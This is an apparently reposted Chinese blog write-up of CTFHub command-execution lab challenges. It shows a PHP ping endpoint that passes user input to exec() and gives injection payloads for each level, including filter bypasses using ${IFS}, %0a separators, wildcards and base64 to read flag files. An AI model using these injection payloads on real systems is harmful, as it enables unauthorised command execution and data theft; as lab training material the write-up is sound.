码迷,mamicode.com
首页 > 其他好文 > 详细

CTFHub-技能树-命令执行

时间:2020-03-18 09:58:52      阅读:266      评论:0      收藏:0      [点我收藏+]

标签:否则   payload   pre   分隔符   综合   amp   命令执行   lin   一个   

CTFHub-技能树-命令执行

1.命令注入

给了源码:

// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
    $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
    exec($cmd, $res);// 执行cmd,把结果输出到res
}

if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

根据第五行代码,这里直接拼接就行

技术图片

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示

技术图片

考虑到有特殊字符,无法回显,使用base64编码,拿到flag。

这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入

技术图片

2.过滤cat

过滤cat,类似cat的指令这里有一堆

和上一题思路一样,拼接语句

先用ls查看文件名

再用一个类似于cat的指令查看内容并以base64格式输出

下一题

3.过滤空格

空格用${IFS}代替即可,还可以使用IFS$9、%09、<、>、<>、{,}、%20来代替空格

其余思路和上一题一样

4.过滤目录分隔符

emmmm,我想的是,过滤了目录分隔符/那我就不用了,

直接用拼接命令即可,其余思路一样

payload: 127.0.0.1;cd flag_is_here;catflag_159229063344.php | base64

5.过滤运算符

前边只有base64编码的时候用到了运算符,而file | base64也可以写成base64 file

剩下的思路以之前一致

6.综合过滤练习

过滤了|,&,;, ,/,cat,flag,ctfhub

空格可以用${IFS}

cat可以用more

flag可以用正则f***

ctfhub应该用不到

查了一下,在linux下,命令分隔符除了;还有%0a

有了;就可以不用运算符了

然后按着之前的思路去做就可以了

最终的payload

!这里要注意,因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码

查看目录127.0.0.1%0als

查看文件夹内容127.0.0.1%0acd${IFS}f***_is_here%0als

查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php

CTFHub-技能树-命令执行

标签:否则   payload   pre   分隔符   综合   amp   命令执行   lin   一个   

原文地址:https://www.cnblogs.com/R3col/p/12515059.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!